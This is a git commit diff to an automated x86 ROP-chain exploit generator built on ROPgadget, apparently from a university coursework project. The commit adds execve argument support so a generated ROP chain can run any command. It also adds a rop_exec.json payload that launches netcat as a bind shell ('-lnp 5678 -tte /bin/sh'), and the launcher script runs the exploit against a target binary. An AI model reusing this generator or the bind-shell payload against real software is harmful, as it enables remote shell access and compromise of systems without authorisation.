Add execve arguments

Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com>
Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
This commit is contained in:
Liam Dalgarno 2020-11-28 17:42:09 +00:00
parent b38616fd71
commit f92b6e9ccd
5 changed files with 66 additions and 25 deletions

View File

@ -86,7 +86,7 @@ architectures supported:
parser.add_argument("--offset", type=str, metavar="<hexaddr>", help="Specify an offset for gadget addresses") parser.add_argument("--offset", type=str, metavar="<hexaddr>", help="Specify an offset for gadget addresses")
parser.add_argument("--paddingLen", type=int, metavar="<nbyte>", default=6, help="Specify the padding length for the ROP chain") parser.add_argument("--paddingLen", type=int, metavar="<nbyte>", default=6, help="Specify the padding length for the ROP chain")
parser.add_argument("--ropFile", type=str, metavar="<string>", default="rop.txt", help="The file to write the generated ROP bytes to") parser.add_argument("--ropFile", type=str, metavar="<string>", default="rop.txt", help="The file to write the generated ROP bytes to")
parser.add_argument("--execPath", type=str, metavar="<string>", default="/bin/sh", help="Path of the executable to make execve() run") parser.add_argument("--execFile", type=str, metavar="<string>", default="/bin/sh", help="Path of the executable to make execve() run")
parser.add_argument("--ropchain", action="store_true", help="Enable the ROP chain generation") parser.add_argument("--ropchain", action="store_true", help="Enable the ROP chain generation")
parser.add_argument("--thumb" , action="store_true", help="Use the thumb mode for the search engine (ARM only)") parser.add_argument("--thumb" , action="store_true", help="Use the thumb mode for the search engine (ARM only)")
parser.add_argument("--console", action="store_true", help="Use an interactive console for search engine") parser.add_argument("--console", action="store_true", help="Use an interactive console for search engine")

View File

@ -12,6 +12,7 @@ import re
import codecs import codecs
import ropgadget.rgutils as rgutils import ropgadget.rgutils as rgutils
import binascii import binascii
import json
from ropgadget.binary import Binary from ropgadget.binary import Binary
from capstone import CS_MODE_32 from capstone import CS_MODE_32
@ -215,9 +216,12 @@ class Core(cmd.Cmd):
self.__getGadgets() self.__getGadgets()
self.__lookingForGadgets() self.__lookingForGadgets()
if self.__options.ropchain: if self.__options.ropchain:
with open(self.__options.execFile) as f:
exec_contents = json.load(f)
ROPMaker( ROPMaker(
self.__binary, self.__gadgets, self.__options.paddingLen, self.__binary, self.__gadgets, self.__options.paddingLen,
self.__options.ropFile, self.__options.execPath, self.__offset self.__options.ropFile, exec_contents, self.__offset
) )
return True return True

View File

@ -9,19 +9,18 @@
import re import re
from capstone import * from capstone import *
from textwrap import wrap
import sys import sys
import math import math
from struct import pack from struct import pack
class ROPMakerX86(object): class ROPMakerX86(object):
def __init__(self, binary, gadgets, paddingLen, outFile, execPath, liboffset=0x0): def __init__(self, binary, gadgets, paddingLen, outFile, exec, liboffset=0x0):
self.__binary = binary self.__binary = binary
self.__gadgets = gadgets self.__gadgets = gadgets
self.paddingLen = paddingLen self.paddingLen = paddingLen
self.outFile = outFile self.outFile = outFile
self.execPath = execPath self.exec = exec
# If it's a library, we have the option to add an offset to the addresses # If it's a library, we have the option to add an offset to the addresses
self.__liboffset = liboffset self.__liboffset = liboffset
@ -46,7 +45,7 @@ class ROPMakerX86(object):
if g != "ret": if g != "ret":
if g.split()[0] == "ret" and g.split()[1] != "": if g.split()[0] == "ret" and g.split()[1] != "":
raise raise
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) # print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
return [gadget, regex.group("dst"), regex.group("src")] return [gadget, regex.group("dst"), regex.group("src")]
except: except:
continue continue
@ -64,7 +63,7 @@ class ROPMakerX86(object):
if g != "ret": if g != "ret":
if g.split()[0] == "ret" and g.split()[1] != "": if g.split()[0] == "ret" and g.split()[1] != "":
raise raise
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) # print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
return gadget return gadget
except: except:
continue continue
@ -121,23 +120,28 @@ class ROPMakerX86(object):
print("\n# [-] Error - Can't find a writable section") print("\n# [-] Error - Can't find a writable section")
return return
print(f"dataAddr = 0x{dataAddr:08x}")
print(f"int 0x80 = 0x{syscall['vaddr']:08x}")
# prepend padding # prepend padding
p = bytes('A' * self.paddingLen, "ascii") p = bytes('A' * self.paddingLen, "ascii")
command = self.execPath command = self.exec[0]
# split command into chunks of 4, prepend with /s as necessary # split command into chunks of 4, prepend with /s as necessary
if len(command) % 4 > 0:
command = padding_len(len(command)) * "/" + command command = padding_len(len(command)) * "/" + command
command_chunks = wrap(command, 4) command_chunks = wrap(command, 4)
## EXEC (ARG0) \0 ARG1 \0 ARG2 \0 ... \0 PTR->EXEC PTR->ARG1 PTR->ARG2 ... \0 ## ## EXEC (ARG0) \0 ARG1 \0 ARG2 \0 ... \0 PTR->EXEC PTR->ARG1 PTR->ARG2 ... \0 ##
args = ["test", "test1", "long string example"] args = self.exec[1:]
chunked_args = [] chunked_args = []
for arg in args: for arg in args:
if len(arg) % 4 > 0:
arg = arg + padding_len(len(arg)) * "!" arg = arg + padding_len(len(arg)) * "!"
chunked_args.append(wrap) print(arg)
chunked_args.append(wrap(arg, 4))
print(chunked_args)
# & ( "cat" \0 ) # & ( "cat" \0 )
exec_addr = dataAddr exec_addr = dataAddr
@ -185,6 +189,23 @@ class ROPMakerX86(object):
# Write Argument Strings # # Write Argument Strings #
########################## ##########################
for i, arg in enumerate(chunked_args):
this_arg_addr = arg_addr[i]
for j, chunk in enumerate(arg):
address = this_arg_addr + (j * 4)
# write 4 char chunk of the command
p += self.__write4bytes(
address,
bytes(chunk, "ascii"),
dataAddr, popDst, popSrc, write4where
)
p += self.__write4nulls(
this_arg_addr + len(args[i]),
popDst, xorSrc, write4where
)
#################### ####################
@ -198,6 +219,13 @@ class ROPMakerX86(object):
dataAddr, popDst, popSrc, write4where dataAddr, popDst, popSrc, write4where
) )
for i, address in enumerate(arg_addr):
p += self.__write4bytes(
argv_addr + ((i + 1) * 4),
pack('<I', address),
dataAddr, popDst, popSrc, write4where
)
# write null byte after argv array # write null byte after argv array
p += self.__write4nulls( p += self.__write4nulls(
argv_addr + (len(args) * 4) + 4, argv_addr + (len(args) * 4) + 4,
@ -243,9 +271,9 @@ class ROPMakerX86(object):
# To find the smaller gadget # To find the smaller gadget
self.__gadgets.reverse() self.__gadgets.reverse()
print("\n# ROP chain generation\n# ===========================================================") # print("\n# ROP chain generation\n# ===========================================================")
print("\n# - Step 1 -- Write-what-where gadgets\n") # print("\n# - Step 1 -- Write-what-where gadgets\n")
gadgetsAlreadyTested = [] gadgetsAlreadyTested = []
while True: while True:
@ -274,7 +302,7 @@ class ROPMakerX86(object):
else: else:
break break
print("\n# - Step 2 -- Init syscall number gadgets\n") # print("\n# - Step 2 -- Init syscall number gadgets\n")
xorEax = self.__lookingForSomeThing("xor eax, eax") xorEax = self.__lookingForSomeThing("xor eax, eax")
if not xorEax: if not xorEax:
@ -286,7 +314,7 @@ class ROPMakerX86(object):
print("# [-] Can't find the 'inc eax' instruction") print("# [-] Can't find the 'inc eax' instruction")
return return
print("\n# - Step 3 -- Init syscall arguments gadgets\n") # print("\n# - Step 3 -- Init syscall arguments gadgets\n")
popEbx = self.__lookingForSomeThing("pop ebx") popEbx = self.__lookingForSomeThing("pop ebx")
if not popEbx: if not popEbx:
@ -303,14 +331,14 @@ class ROPMakerX86(object):
print("# [-] Can't find the 'pop edx' instruction") print("# [-] Can't find the 'pop edx' instruction")
return return
print("\n# - Step 4 -- Syscall gadget\n") # print("\n# - Step 4 -- Syscall gadget\n")
syscall = self.__lookingForSomeThing("int 0x80") syscall = self.__lookingForSomeThing("int 0x80")
if not syscall: if not syscall:
print("# [-] Can't find the 'syscall' instruction") print("# [-] Can't find the 'syscall' instruction")
return return
print("\n# - Step 5 -- Build the ROP chain\n") # print("\n# - Step 5 -- Build the ROP chain\n")
self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall) self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall)
@ -319,3 +347,6 @@ class ROPMakerX86(object):
def padding_len(x): def padding_len(x):
return -(x % -4) return -(x % -4)
def wrap(str, n):
return [ str[i:i + n] for i in range(0, len(str), n) ]

View File

@ -4,6 +4,7 @@ import math
import os import os
import subprocess import subprocess
import sys import sys
import json
from contextlib import redirect_stderr from contextlib import redirect_stderr
from pwnlib.context import context from pwnlib.context import context
@ -35,15 +36,16 @@ print(r'''
arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable") arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit") arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file") arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file")
arg_parser.add_argument("--rop_exec", metavar="rop_exec", default="/bin/sh", type=str, help="The path to the executable the ROP should run") arg_parser.add_argument("--rop_exec_file", metavar="rop_exec", default="rop_exec.json", type=str, help="The path to the file containing the command for the ROP to run")
arg_parser.add_argument("--min_payload", metavar="min", default=32, type=int, help="The minimum payload length to try") arg_parser.add_argument("--min_payload", metavar="min", default=32, type=int, help="The minimum payload length to try")
arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try") arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try")
arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable") arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable")
args = arg_parser.parse_args() args = arg_parser.parse_args()
exec_file = args.exec_file exec_file = args.exec_file
rop_file = args.rop_file rop_file = args.rop_file
rop_exec = args.rop_exec rop_exec_file = args.rop_exec_file
min_payload = args.min_payload min_payload = args.min_payload
max_payload = args.max_payload max_payload = args.max_payload
run = args.run run = args.run
@ -96,15 +98,18 @@ result = subprocess.run(
"--silent", "--silent",
"--paddingLen", str(offset), "--paddingLen", str(offset),
"--ropFile", rop_file, "--ropFile", rop_file,
"--execPath", rop_exec "--execFile", rop_exec_file,
], ],
stdout = subprocess.PIPE stdout = subprocess.PIPE
) )
with open("log/ropgadget.log", "wb") as f:
f.write(result.stdout)
print(f" └─[🤩] All done! The ROP input is saved to {rop_file}!") print(f" └─[🤩] All done! The ROP input is saved to {rop_file}!")
if run: if run:
pwnlibexit._run_handlers() pwnlibexit._run_handlers()
print() print()
print(f"[ Run Program : ./{exec_file} {rop_file} ]") print(f"[ Run Program : ./{exec_file} {rop_file} ]")
os.execv(exec_file, [exec_file, rop_file]) os.execv(exec_file, [exec_file, rop_file])

1
rop_exec.json Normal file
View File

@ -0,0 +1 @@
["/home/vagrant/cw/netcat-0.7.1/src/netcat", "-lnp", "5678", "-tte", "/bin/sh"]